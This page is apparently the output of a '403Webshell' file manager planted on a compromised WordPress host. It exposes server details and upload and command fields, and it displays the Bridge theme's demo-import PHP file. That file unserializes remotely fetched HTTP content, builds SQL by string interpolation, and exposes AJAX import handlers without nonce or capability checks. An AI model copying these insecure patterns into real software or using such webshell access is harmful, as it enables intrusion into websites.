403Webshell
Server IP : 54.36.91.62  /  Your IP : 216.73.216.15
Web Server : Apache
System : Linux webm021.cluster127.gra.hosting.ovh.net 6.18.39-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Tue Jul 21 12:03:15 CEST 2026 x86_64
User : uxhactp ( 169076)
PHP Version : 7.4.33
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/uxhactp/www/wp-content/themes/bridge/includes/import/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/uxhactp/www/wp-content/themes/bridge/includes/import/qode-import.php
<?php
if (!function_exists ('add_action')) {
    header('Status: 403 Forbidden');
    header('HTTP/1.1 403 Forbidden');
    exit();
}
class Qode_Import {

    public $message = "";
    public $attachments = false;
    function __construct() {
        add_action('admin_menu', array(&$this, 'qode_admin_import'));
        add_action('admin_init', array(&$this, 'register_qode_theme_settings'));

    }
    function register_qode_theme_settings() {
        register_setting( 'qode_options_import_page', 'qode_options_import');
    }

    function init_qode_import() {
        if(isset($_REQUEST['import_option'])) {
            $import_option = $_REQUEST['import_option'];
            if($import_option == 'content'){
                $this->import_content('proya_content.xml');
            }elseif($import_option == 'custom_sidebars') {
                $this->import_custom_sidebars('custom_sidebars.txt');
            } elseif($import_option == 'widgets') {
                $this->import_widgets('widgets.txt','custom_sidebars.txt');
            } elseif($import_option == 'options'){
                $this->import_options('options.txt');
            }elseif($import_option == 'menus'){
                $this->import_menus('menus.txt');
            }elseif($import_option == 'settingpages'){
                $this->import_settings_pages('settingpages.txt');
            }elseif($import_option == 'complete_content'){
                $this->import_content('proya_content.xml');
                $this->import_options('options.txt');
                $this->import_widgets('widgets.txt','custom_sidebars.txt');
                $this->import_menus('menus.txt');
                $this->import_settings_pages('settingpages.txt');
                $this->message = __("Content imported successfully", "qode");
            }
        }
    }

    public function import_content($file){
            ob_start();
            $class_wp_importer = ABSPATH . 'wp-admin/includes/class-wp-importer.php';
            require_once($class_wp_importer);
            require_once(get_template_directory() . '/includes/import/class.wordpress-importer.php');
            $qode_import = new WP_Import();
            set_time_limit(0);
            $path = get_template_directory() . '/includes/import/files/' . $file;

            $qode_import->fetch_attachments = $this->attachments;
            $returned_value = $qode_import->import($file);
            if(is_wp_error($returned_value)){
                $this->message = __("An Error Occurred During Import", "qode");
            }
            else {
                $this->message = __("Content imported successfully", "qode");
            }
            ob_get_clean();
    }

    public function import_widgets($file, $file2){
        $this->import_custom_sidebars($file2);
        $options = $this->file_options($file);
        foreach ((array) $options['widgets'] as $qode_widget_id => $qode_widget_data) {
            update_option( 'widget_' . $qode_widget_id, $qode_widget_data );
        }
        $this->import_sidebars_widgets($file);
        $this->message = __("Widgets imported successfully", "qode");
    }

    public function import_sidebars_widgets($file){
        $qode_sidebars = get_option("sidebars_widgets");
        unset($qode_sidebars['array_version']);
        $data = $this->file_options($file);
        if ( is_array($data['sidebars']) ) {
            $qode_sidebars = array_merge( (array) $qode_sidebars, (array) $data['sidebars'] );
            unset($qode_sidebars['wp_inactive_widgets']);
            $qode_sidebars = array_merge(array('wp_inactive_widgets' => array()), $qode_sidebars);
            $qode_sidebars['array_version'] = 2;
            wp_set_sidebars_widgets($qode_sidebars);
        }
    }

    public function import_custom_sidebars($file){
        $options = $this->file_options($file);
        update_option( 'qode_sidebars', $options);
        $this->message = __("Custom sidebars imported successfully", "qode");
    }

    public function import_options($file){
        $options = $this->file_options($file);
        update_option( 'qode_options_proya', $options);
        $this->message = __("Options imported successfully", "qode");
    }

    public function import_menus($file){
        global $wpdb;
        $qode_terms_table = $wpdb->prefix . "terms";
        $this->menus_data = $this->file_options($file);
        $menu_array = array();
        foreach ($this->menus_data as $registered_menu => $menu_slug) {
            $term_rows = $wpdb->get_results("SELECT * FROM $qode_terms_table where slug='{$menu_slug}'", ARRAY_A);
            if(isset($term_rows[0]['term_id'])) {
                $term_id_by_slug = $term_rows[0]['term_id'];
            } else {
                $term_id_by_slug = null;
            }
            $menu_array[$registered_menu] = $term_id_by_slug;
        }
        set_theme_mod('nav_menu_locations', array_map('absint', $menu_array ) );

    }
    public function import_settings_pages($file){
        $pages = $this->file_options($file);

        foreach($pages as $qode_page_option => $qode_page_id){
            update_option( $qode_page_option, $qode_page_id);
        }
    }
    public function file_options($file){
        $file_content = "";
        $file_for_import = get_template_directory() . '/includes/import/files/' . $file;
        /*if ( file_exists($file_for_import) ) {
            $file_content = $this->qode_file_contents($file_for_import);
        } else {
            $this->message = __("File doesn't exist", "qode");
        }*/
        $file_content = $this->qode_file_contents($file);
        if ($file_content) {
            $unserialized_content = unserialize(base64_decode($file_content));
            if ($unserialized_content) {
                return $unserialized_content;
            }
        }
        return false;
    }

    function qode_file_contents( $path ) {
		$url      = "http://export.qodethemes.com/".$path;
		$response = wp_remote_get($url);
		$body     = wp_remote_retrieve_body($response);
		return $body;
    }

    function qode_admin_import() {
        if(isset($_REQUEST['import'])){
            //$this->init_qode_import();
        }

        //$this->pagehook = add_submenu_page('qode_options_proya_page', 'Qode Theme', esc_html__('Qode Import', 'qode'), 'manage_options', 'qode_options_import_page', array(&$this, 'qode_generate_import_page'));
        $this->pagehook = add_menu_page('Qode Theme', esc_html__('Qode Import', 'qode'), 'manage_options', 'qode_options_import_page', array(&$this, 'qode_generate_import_page'),'dashicons-download');

    }

    function qode_generate_import_page() {
        wp_enqueue_style('qodef-bootstrap');
        wp_enqueue_style('qodef-page-admin');
        wp_enqueue_style('qodef-options-admin');
        wp_enqueue_style('qodef-ui-admin');
        wp_enqueue_style('qodef-forms-admin');

        ?>
        <div id="qode-metaboxes-general" class="wrap qodef-page qodef-page-info">
            <h2 class="qodef-page-title"><?php _e('Bridge — One-Click Import', 'qode') ?></h2>
            <form method="post" action="" id="importContentForm">
                <div class="qodef-page-form">
                    <div class="qodef-page-form-section-holder clearfix">
                        <h3 class="qodef-page-section-title">Import Demo Content</h3>
                        <div class="qodef-page-form-section">
                            <div class="qodef-field-desc">
                                <h4><?php esc_html_e('Demo Site', 'qode'); ?></h4>
                                <p>Choose demo site you want to import</p>
                            </div>
                            <div class="qodef-section-content">
                                <div class="container-fluid">
                                    <div class="row">
                                        <div class="col-lg-3">
                                            <select name="import_example" id="import_example" class="form-control qodef-form-element">
												<option value="bridge">Demo  - Original</option>
                                                <option value="bridge3">Demo 3 - Business</option>
                                                <option value="bridge4">Demo 4 - Agency</option>
                                                <option value="bridge5">Demo 5 - Estate</option>
                                                <option value="bridge6">Demo 6 - Light</option>
                                                <option value="bridge7">Demo 7 - Urban</option>
                                                <option value="bridge8">Demo 8 - Fashion</option>
                                                <option value="bridge9">Demo 9 - Cafe</option>
                                                <option value="bridge10">Demo 10 - One Page</option>
                                                <option value="bridge11">Demo 11 - Modern</option>
                                                <option value="bridge12">Demo 12 - University</option>
                                                <option value="bridge13">Demo 13 - Winery</option>
                                                <option value="bridge14">Demo 14 - Restaurant</option>
                                                <option value="bridge15">Demo 15 - Construct</option>
                                                <option value="bridge16">Demo 16 - Portfolio Masonry</option>
                                                <option value="bridge17">Demo 17 - Vintage</option>
                                                <option value="bridge18">Demo 18 - Creative Business</option>
                                                <option value="bridge19">Demo 19 - Catalog</option>
                                                <option value="bridge20">Demo 20 - Portfolio</option>
                                                <option value="bridge21">Demo 21 - Minimalist</option>
                                                <option value="bridge22">Demo 22 - Dark Parallax</option>
                                                <option value="bridge23">Demo 23 - Split Screen</option>
                                                <option value="bridge24">Demo 24 - Avenue</option>
                                                <option value="bridge25">Demo 25 - Portfolio Pinterest</option>
                                                <option value="bridge26">Demo 26 - Health</option>
                                                <option value="bridge27">Demo 27 - Flat</option>
                                                <option value="bridge28">Demo 28 - Wireframey</option>
                                                <option value="bridge29">Demo 29 - Denim</option>
                                                <option value="bridge30">Demo 30 - Mist</option>
                                                <option value="bridge31">Demo 31 - Architecture</option>
                                                <option value="bridge32">Demo 32 - Small Brand</option>
                                                <option value="bridge33">Demo 33 - Creative</option>
                                                <option value="bridge34">Demo 34 - Parallax</option>
                                                <option value="bridge35">Demo 35 - Minimal</option>
                                                <option value="bridge36">Demo 36 - Simple Blog</option>
                                                <option value="bridge37">Demo 37 - Pinterest Blog</option>
                                                <option value="bridge38">Demo 38 - Studio</option>
                                                <option value="bridge39">Demo 39 - Contemporary Art</option>
                                                <option value="bridge40">Demo 40 - Chocolaterie</option>
                                                <option value="bridge41">Demo 41 - Branding</option>
                                                <option value="bridge42">Demo 42 - Collection</option>
                                                <option value="bridge43">Demo 43 - Creative Vintage</option>
                                                <option value="bridge44">Demo 44 - Coming Soon Simple</option>
                                                <option value="bridge45">Demo 45 - Coming Soon Creative</option>
                                                <option value="bridge46">Demo 46 - Lawyer</option>
                                                <option value="bridge47">Demo 47 - Health Blog</option>
                                                <option value="bridge48">Demo 48 - Photography Split Screen</option>
                                                <option value="bridge49">Demo 49 - Agency One Page</option>
                                                <option value="bridge50">Demo 50 - Fashion Shop</option>
                                                <option value="bridge51">Demo 51 - Company</option>
                                                <option value="bridge52">Demo 52 - Wellness</option>
                                                <option value="bridge53">Demo 53 - Case Study</option>
                                                <option value="bridge54">Demo 54 - Design Studio</option>
                                                <option value="bridge55">Demo 55 - Digital Agency</option>
                                                <option value="bridge56">Demo 56 - Organic</option>
                                                <option value="bridge57">Demo 57 - Jazz</option>
                                                <option value="bridge58">Demo 58 - Wedding</option>
                                                <option value="bridge59">Demo 59 - Jeans</option>
                                                <option value="bridge60">Demo 60 - Innovation</option>
                                                <option value="bridge61">Demo 61 - Travel Blog</option>
                                                <option value="bridge62">Demo 62 - Passepartout</option>
                                                <option value="bridge63">Demo 63 - Graphic Studio</option>
                                                <option value="bridge64">Demo 64 - Cupcake</option>
                                                <option value="bridge65">Demo 65 - Sunglasses Shop</option>
                                                <option value="bridge66">Demo 66 - Kids</option>
                                                <option value="bridge67">Demo 67 - Animals</option>
                                                <option value="bridge68">Demo 68 - Photo Studio</option>
                                                <option value="bridge69">Demo 69 - Urban Fashion</option>
                                                <option value="bridge70">Demo 70 - Marine</option>
                                                <option value="bridge71">Demo 71 - Interior Design</option>
                                                <option value="bridge72">Demo 72 - Bar &amp; Grill</option>
                                                <option value="bridge73">Demo 73 - Brewery</option>
                                                <option value="bridge74">Demo 74 - Corporate</option>
                                                <option value="bridge75">Demo 75 - Office</option>
                                                <option value="bridge76">Demo 76 - Paper</option>
                                                <option value="bridge77">Demo 77 - Simple Photography</option>
                                                <option value="bridge78">Demo 78 - Furniture</option>
                                                <option value="bridge79">Demo 79 - Skin Care</option>
                                                <option value="bridge80">Demo 80 - Rustic</option>
                                                <option value="bridge81">Demo 81 - Cargo</option>
                                                <option value="bridge82">Demo 82 - Creative Photography</option>
                                                <option value="bridge83">Demo 83 - Construction</option>
                                                <option value="bridge84">Demo 84 - Campaign</option>
                                                <option value="bridge85">Demo 85 - Dim Sum</option>
                                                <option value="bridge86">Demo 86 - Flat Company</option>
                                                <option value="bridge87">Demo 87 - Photography Portfolio</option>
                                                <option value="bridge88">Demo 88 - Charity</option>
                                                <option value="bridge89">Demo 89 - Handmade</option>
                                                <option value="bridge90">Demo 90 - Telecom</option>
                                                <option value="bridge91">Demo 91 - Black-And-White</option>
                                                <option value="bridge92">Demo 92 - Pets</option>
                                                <option value="bridge93">Demo 93 - Designer Personal</option>
                                                <option value="bridge94">Demo 94 - Modern Business</option>
                                                <option value="bridge95">Demo 95 - Contemporary Company</option>
                                                <option value="bridge96">Demo 96 - Bridge Communication Demo </option>
                                                <option value="bridge97">Demo 97 - Bridge Blog Slider Demo </option>
                                                <option value="bridge98">Demo 98 - Bridge Fashion Photography Demo </option>
                                                <option value="bridge99">Demo 99 - Bridge Urban Shop Demo</option>
                                                <option value="bridge100">Demo 100 - Bridge CV Demo</option>
                                                <option value="bridge101">Concept 101 - Standard</option>
                                                <option value="bridge102">Concept 102 - Split Screen</option>
                                                <option value="bridge103">Concept 103 - Left Menu Initially Hidden</option>
                                                <option value="bridge104">Concept 104 - Left Menu With Background Image</option>
                                                <option value="bridge105">Concept 105 - Left Menu</option>
                                                <option value="bridge106">Concept 106 - Blog with Slider</option>
                                                <option value="bridge107">Concept 107 - Masonry Gallery</option>
                                                <option value="bridge108">Concept 108 - Short Slider</option>
                                                <option value="bridge109">Concept 109 - Angled Sections</option>
                                                <option value="bridge110">Concept 110 - Grid</option>
                                                <option value="bridge111">Concept 111 - Elegant Slider</option>
                                                <option value="bridge112">Concept 112 - Full Screen Sections</option>
                                                <option value="bridge113">Concept 113 - Shop Grid</option>
                                                <option value="bridge114">Concept 114 - Shop Wide</option>
                                                <option value="bridge115">Concept 115 - One Page Site</option>
                                                <option value="bridge116">Concept 116 - Dark Border</option>
                                                <option value="bridge117">Concept 117 - Portfolio with Left Menu</option>
                                                <option value="bridge118">Concept 118 - Portfolio Pinterest Style</option>
                                                <option value="bridge119">Concept 119 - Shop with Left Menu</option>
                                                <option value="bridge120">Concept 120 - Photo Slider</option>
                                                <option value="bridge121">Concept 121 - Blog in Grid</option>
                                                <option value="bridge122">Concept 122 - Blog Pinterest Style</option>
                                                <option value="bridge123">Concept 123 - Video Slider</option>
                                                <option value="bridge124">Concept 124 - Blog Loop</option>
                                                <option value="bridgelanding">New Landing Page</option>
                                                <option value="bridgedb1">New Demo 1 - App Showcase</option>
                                                <option value="bridgedb2">New Demo 2 - Creative Agency</option>
                                                <option value="bridgedb3">New Demo 3 - Construction Company</option>
                                                <option value="bridgedb4">New Demo 4 - Modern Restaurant</option>
                                                <option value="bridgedb5">New Demo 5 - Wedding Announcement</option>
                                                <option value="bridgedb6">New Demo 6 - Online Agency</option>
                                                <option value="bridgedb7">New Demo 7 - Rock Band</option>
                                                <option value="bridgedb8">New Demo 8 - Craftsman</option>
                                                <option value="bridgedb9">New Demo 9 - Corporation</option>
                                                <option value="bridgedb10">New Demo 10 - Modern Photography</option>
                                                <option value="bridgedb11">New Demo 11 - Illustrator Portfolio</option>
                                                <option value="bridgedb12">New Demo 12 - Urban Store</option>
                                                <option value="bridgedb13">New Demo 13 - Vibrant Portfolio</option>
                                                <option value="bridgedb14">New Demo 14 - Photography Tiles</option>
                                                <option value="bridgedb15">New Demo 15 - Freelance Designer</option>
                                                <option value="bridgedb16">New Demo 16 - Clothing Store</option>
                                                <option value="bridgedb17">New Demo 17 - Urban Studio</option>
                                                <option value="bridgedb18">New Demo 18 - Masonry Shop</option>
                                                <option value="bridgedb19">New Demo 19 - Fullscreen Shop</option>
                                                <option value="bridgedb20">New Demo 20 - Photographer</option>
                                                <option value="bridgedb21">New Demo 21 - Designer Portfolio</option>
                                                <option value="bridgedb22">New Demo 22 - Tech Showcase</option>
                                                <option value="bridgedb23">New Demo 23 - Metro Blog</option>
                                                <option value="bridgedb24">New Demo 24 - Nature Blog</option>
                                                <option value="bridgedb25">New Demo 25 - Modern Blog</option>
                                                <option value="bridgedb26">New Demo 26 - Creative Blog</option>
                                                <option value="bridgedb27">New Demo 27 - Minimal Blog</option>
                                                <option value="bridgedb28">New Demo 28 - Fashion Blog</option>
                                                <option value="bridgedb29">New Demo 29 - Lifestyle Blog</option>
                                                <option value="bridgedb30">New Demo 30 - Chequered Blog</option>
                                                <option value="bridgedb31">New Demo 31 - Headlines Blog</option>
                                                <option value="bridgedb32">New Demo 32 - Tech Blog</option>
                                                <option value="bridgedb33">New Demo 33 - Photography Parallax</option>
                                                <option value="bridgedb34">New Demo 34 - Bauhaus</option>
                                                <option value="bridgedb35">New Demo 35 - Illustrator</option>
                                                <option value="bridgedb36">New Demo 36 - Maintenance Mode </option>
                                                <option value="bridgedb37">New Demo 37 - Agency Minimal</option>
                                                <option value="bridgedb38">New Demo 38 - Conference</option>
                                                <option value="bridgedb39">New Demo 39 - 3D Artist</option>
                                                <option value="bridgedb40">New Demo 40 - Developer </option>
                                                <option value="bridgedb41">New Demo 41 - Web Agency</option>
                                                <option value="bridgedb42">New Demo 42 - UX/UI Design</option>
                                                <option value="bridgedb43">New Demo 43 - Digital</option>
                                                <option value="bridgedb44">New Demo 44 - Product Showcase</option>
                                                <option value="bridgedb45">New Demo 45 - Sportswear</option>
                                                <option value="bridgedb46">New Demo 46 - Interior Decoration</option>
                                                <option value="bridgedb47">New Demo 47 - Boutique</option>
                                                <option value="bridgedb48">New Demo 48 - Summer Shop</option>
                                                <option value="bridgedb49">New Demo 49 - Furniture Shop</option>
                                                <option value="bridgedb50">New Demo 50 - Leather Shop</option>
                                                <option value="bridgedb51">New Demo 51 - Minimal Shop</option>
                                                <option value="bridgedb52">New Demo 52 - Tiled Shop</option>
                                                <option value="bridgedb53">New Demo 53 - Digital Startup</option>
                                                <option value="bridgedb54">New Demo 54 - Skater</option>
                                                <option value="bridgedb55">New Demo 55 - Bicycle Brand</option>
                                                <option value="bridgedb56">New Demo 56 - Fashion Agency</option>
                                                <option value="bridgedb57">New Demo 57 - Biker Club</option>
                                                <option value="bridgedb58">New Demo 58 - Artist Portfolio</option>
                                                <option value="bridgedb59">New Demo 59 - Hipster Agency</option>
                                                <option value="bridgedb60">New Demo 60 - Barber</option>
                                                <option value="bridgedb61">New Demo 61 - Photo Gallery</option>
                                                <option value="bridgedb62">New Demo 62 - Skate Shop</option>
                                                <option value="bridgedb63">New Demo 63 - Outdoors</option>
                                                <option value="bridgedb64">New Demo 64 - Jazz Bar</option>
                                                <option value="bridgedb65">New Demo 65 - Hosting</option>
                                                <option value="bridgedb66">New Demo 66 - Architect Studio</option>
                                                <option value="bridgedb67">New Demo 67 - Child Care</option>
                                                <option value="bridgedb68">New Demo 68 - Startup</option>
                                                <option value="bridgedb69">New Demo 69 - Resume</option>
                                                <option value="bridgedb70">New Demo 70 - Law Firm</option>
                                                <option value="bridgedb71">New Demo 71 - Organic Market</option>
                                                <option value="bridgedb72">New Demo 72 - Watch Store</option>
                                                <option value="bridgedb73">New Demo 73 - Travel Agency</option>
                                                <option value="bridgedb74">New Demo 74 - Consulting</option>
                                                <option value="bridgedb75">New Demo 75 - Yoga Studio</option>
                                                <option value="bridgedb76">New Demo 76 - Spa Center</option>
                                                <option value="bridgedb77">New Demo 77 - Modern Furniture</option>
                                            </select>
                                        </div>
                                    </div>
                                    <div class="row next-row">
                                        <div class="col-lg-3">
                                        	<img id="demo_site_img" src="<?php echo get_template_directory_uri() . '/css/admin/images/demos/bridge.jpg' ?>" alt="demo site" />
                                        </div>
                                    </div>

                                </div>
                            </div>
                        </div>
                        <div class="qodef-page-form-section" >
                            <div class="qodef-field-desc">
                                <h4><?php esc_html_e('Import Type', 'qode'); ?></h4>
                                <p>Choose if you would like to import all or specific content</p>
                            </div>

                            <div class="qodef-section-content">
                                <div class="container-fluid">
                                    <div class="row">
                                        <div class="col-lg-3">
                                            <select name="import_option" id="import_option" class="form-control qodef-form-element">
                                                <option value="">Please Select</option>
                                                <option value="complete_content">All</option>
                                                <option value="content">Content</option>
                                                <option value="widgets">Widgets</option>
                                                <option value="options">Options</option>
                                            </select>
                                        </div>
                                    </div>
                                </div>
                            </div>
                        </div>
                        <div class="qodef-page-form-section" >
                            <div class="qodef-field-desc">
                                <h4><?php esc_html_e('Import attachments', 'qode'); ?></h4>
                                <p>Do you want to import media files?</p>
                            </div>

                            <div class="qodef-section-content">
                                <div class="container-fluid">
                                    <div class="row">
                                        <div class="col-lg-3">
                                            <input type="checkbox" value="1" class="qodef-form-element" name="import_attachments" id="import_attachments" />
                                        </div>
                                    </div>
                                </div>
                            </div>
                        </div>

                        <div class="row">
                            <div class="col-lg-3">
                                <div class="form-button-section clearfix">
                                    <input type="submit" class="btn btn-primary btn-sm " value="Import" name="import" id="import_demo_data" />
                                </div>
                            </div>
                        </div>
                        <div class="row">
                            <div class="col-lg-3"></div>

                        </div>

                        <div class="import_load"><span><?php _e('The import process may take some time. Please be patient.', 'qode') ?> </span><br />
                            <div class="qode-progress-bar-wrapper html5-progress-bar">
                                <div class="progress-bar-wrapper">
                                    <progress id="progressbar" value="0" max="100"></progress>
                                </div>
                                <div class="progress-value">0%</div>
                                <div class="progress-bar-message">
                                </div>
                            </div>
                        </div>
                        <div class="alert alert-warning">
                            <strong><?php _e('Important notes:', 'qode') ?></strong>
                            <ul>
                                <li><?php _e('Delete all menus from Appearance > Menus before importing a new demo.', 'qode'); ?></li>
                                <li><?php _e('All options will be overwritten by the options for the demo you are importing.', 'qode'); ?></li>
                                <li><?php _e('Please note that import process will take time needed to download all attachments from demo web site.', 'qode'); ?></li>
                                <li> <?php _e('If you plan to use shop, please install WooCommerce before you run import.', 'qode');?></li>
                            </ul>
                        </div>


                        <!--								<div class="success_msg alert" id="success_msg" >--><?php //echo $this->message; ?><!--</div>-->




                    </div>

                </div>
            </form>
        </div>
        <script type="text/javascript">
            $j(document).ready(function() {
				$j('#import_example').on('change', function (e) {
					var optionSelected = $j("option:selected", this).val();
					$j('#demo_site_img').attr('src', '<?php echo get_template_directory_uri() . '/css/admin/images/demos/' ?>' + optionSelected + '.jpg' );
				});
                $j(document).on('click', '#import_demo_data', function(e) {
                    e.preventDefault();
                    if ($j( "#import_option" ).val() == "") {
                    	alert('Please select Import Type.');
                    	return false;
                    }
                    if (confirm('Are you sure, you want to import Demo Data now?')) {
                        $j('.import_load').css('display','block');
                        var progressbar = $j('#progressbar')
                        var import_opt = $j( "#import_option" ).val();
                        var import_expl = $j( "#import_example" ).val();
                        var p = 0;
                        if(import_opt == 'content'){
                            for(var i=1;i<10;i++){
                                var str;
                                if (i < 10) str = 'bridge_content_0'+i+'.xml';
                                else str = 'bridge_content_'+i+'.xml';
                                jQuery.ajax({
                                    type: 'POST',
                                    url: ajaxurl,
                                    data: {
                                        action: 'qode_dataImport',
                                        xml: str,
                                        example: import_expl,
                                        import_attachments: ($j("#import_attachments").is(':checked') ? 1 : 0)
                                    },
                                    success: function(data, textStatus, XMLHttpRequest){
                                        p+= 10;
                                        $j('.progress-value').html((p) + '%');
                                        progressbar.val(p);
                                        if (p == 90) {
                                            str = 'bridge_content_10.xml';
                                            jQuery.ajax({
                                                type: 'POST',
                                                url: ajaxurl,
                                                data: {
                                                    action: 'qode_dataImport',
                                                    xml: str,
                                                    example: import_expl,
                                                    import_attachments: ($j("#import_attachments").is(':checked') ? 1 : 0)
                                                },
                                                success: function(data, textStatus, XMLHttpRequest){
                                                    p+= 10;
                                                    $j('.progress-value').html((p) + '%');
                                                    progressbar.val(p);
                                                    $j('.progress-bar-message').html('<div class="alert alert-success"><strong>Import is completed</strong></div>');
                                                },
                                                error: function(MLHttpRequest, textStatus, errorThrown){
                                                }
                                            });
                                        }
                                    },
                                    error: function(MLHttpRequest, textStatus, errorThrown){
                                    }
                                });
                            }
                        } else if(import_opt == 'widgets') {
                            jQuery.ajax({
                                type: 'POST',
                                url: ajaxurl,
                                data: {
                                    action: 'qode_widgetsImport',
                                    example: import_expl
                                },
                                success: function(data, textStatus, XMLHttpRequest){
                                    $j('.progress-value').html((100) + '%');
                                    progressbar.val(100);
                                },
                                error: function(MLHttpRequest, textStatus, errorThrown){
                                }
                            });
                            $j('.progress-bar-message').html('<div class="alert alert-success"><strong>Import is completed</strong></div>');
                        } else if(import_opt == 'options'){
                            jQuery.ajax({
                                type: 'POST',
                                url: ajaxurl,
                                data: {
                                    action: 'qode_optionsImport',
                                    example: import_expl
                                },
                                success: function(data, textStatus, XMLHttpRequest){
                                    $j('.progress-value').html((100) + '%');
                                    progressbar.val(100);
                                },
                                error: function(MLHttpRequest, textStatus, errorThrown){
                                }
                            });
                            $j('.progress-bar-message').html('<div class="alert alert-success"><strong>Import is completed</strong></div>');
                        }else if(import_opt == 'complete_content'){
                            for(var i=1;i<10;i++){
                                var str;
                                if (i < 10) str = 'bridge_content_0'+i+'.xml';
                                else str = 'bridge_content_'+i+'.xml';
                                jQuery.ajax({
                                    type: 'POST',
                                    url: ajaxurl,
                                    data: {
                                        action: 'qode_dataImport',
                                        xml: str,
                                        example: import_expl,
                                        import_attachments: ($j("#import_attachments").is(':checked') ? 1 : 0)
                                    },
                                    success: function(data, textStatus, XMLHttpRequest){
                                        p+= 10;
                                        $j('.progress-value').html((p) + '%');
                                        progressbar.val(p);
                                        if (p == 90) {
                                            str = 'bridge_content_10.xml';
                                            jQuery.ajax({
                                                type: 'POST',
                                                url: ajaxurl,
                                                data: {
                                                    action: 'qode_dataImport',
                                                    xml: str,
                                                    example: import_expl,
                                                    import_attachments: ($j("#import_attachments").is(':checked') ? 1 : 0)
                                                },
                                                success: function(data, textStatus, XMLHttpRequest){
                                                    jQuery.ajax({
                                                        type: 'POST',
                                                        url: ajaxurl,
                                                        data: {
                                                            action: 'qode_otherImport',
                                                            example: import_expl
                                                        },
                                                        success: function(data, textStatus, XMLHttpRequest){
                                                            $j('.progress-value').html((100) + '%');
                                                            progressbar.val(100);
                                                            $j('.progress-bar-message').html('<div class="alert alert-success">Import is completed.</div>');
                                                        },
                                                        error: function(MLHttpRequest, textStatus, errorThrown){
                                                        }
                                                    });
                                                },
                                                error: function(MLHttpRequest, textStatus, errorThrown){
                                                }
                                            });
                                        }
                                    },
                                    error: function(MLHttpRequest, textStatus, errorThrown){
                                    }
                                });
                            }
                        }
                    }
                    return false;
                });
            });
        </script>


    <?php	}

}
global $my_Qode_Import;
$my_Qode_Import = new Qode_Import();



if(!function_exists('qode_dataImport'))
{
    function qode_dataImport()
    {
        global $my_Qode_Import;

        if ($_POST['import_attachments'] == 1)
            $my_Qode_Import->attachments = true;
        else
            $my_Qode_Import->attachments = false;

        $folder = "bridge/";
        if (!empty($_POST['example']))
            $folder = $_POST['example']."/";

        $my_Qode_Import->import_content($folder.$_POST['xml']);

        die();
    }

    add_action('wp_ajax_qode_dataImport', 'qode_dataImport');
}

if(!function_exists('qode_widgetsImport'))
{
    function qode_widgetsImport()
    {
        global $my_Qode_Import;

        $folder = "bridge/";
        if (!empty($_POST['example']))
            $folder = $_POST['example']."/";

        $my_Qode_Import->import_widgets($folder.'widgets.txt',$folder.'custom_sidebars.txt');

        die();
    }

    add_action('wp_ajax_qode_widgetsImport', 'qode_widgetsImport');
}

if(!function_exists('qode_optionsImport'))
{
    function qode_optionsImport()
    {
        global $my_Qode_Import;

        $folder = "bridge/";
        if (!empty($_POST['example']))
            $folder = $_POST['example']."/";

        $my_Qode_Import->import_options($folder.'options.txt');

        die();
    }

    add_action('wp_ajax_qode_optionsImport', 'qode_optionsImport');
}

if(!function_exists('qode_otherImport'))
{
    function qode_otherImport()
    {
        global $my_Qode_Import;

        $folder = "bridge/";
        if (!empty($_POST['example']))
            $folder = $_POST['example']."/";

        $my_Qode_Import->import_options($folder.'options.txt');
        $my_Qode_Import->import_widgets($folder.'widgets.txt',$folder.'custom_sidebars.txt');
        $my_Qode_Import->import_menus($folder.'menus.txt');
        $my_Qode_Import->import_settings_pages($folder.'settingpages.txt');

        die();
    }

    add_action('wp_ajax_qode_otherImport', 'qode_otherImport');
}

Youez - 2016 - github.com/yon3zu
LinuXploit